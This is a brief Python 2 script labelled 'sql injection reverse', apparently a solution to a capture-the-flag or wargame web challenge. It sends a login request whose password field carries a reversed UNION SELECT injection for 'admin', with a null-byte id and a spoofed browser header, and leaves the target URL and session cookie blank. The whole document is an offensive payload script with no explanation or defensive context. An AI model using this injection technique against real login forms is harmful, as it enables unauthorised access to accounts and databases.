sql injection reverse

1. import urllib
2. import urllib2
3.  
4. url = ""
5. req = urllib2.Request(url)
6. sql = "union select 0x61646D696E 32%"
7. data = "id=%00&pw=" + sql[::-1]
8. #data = urllib.urlencode(data)
9. req = urllib2.Request(url, data)
10.  
11. req.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
12. req.add_header('Cookie', 'PHPSESSID=')
13.  
14. response = urllib2.urlopen(req)
15. headers = response.info().headers
16. the_page = response.read()
17.  
18. print the_page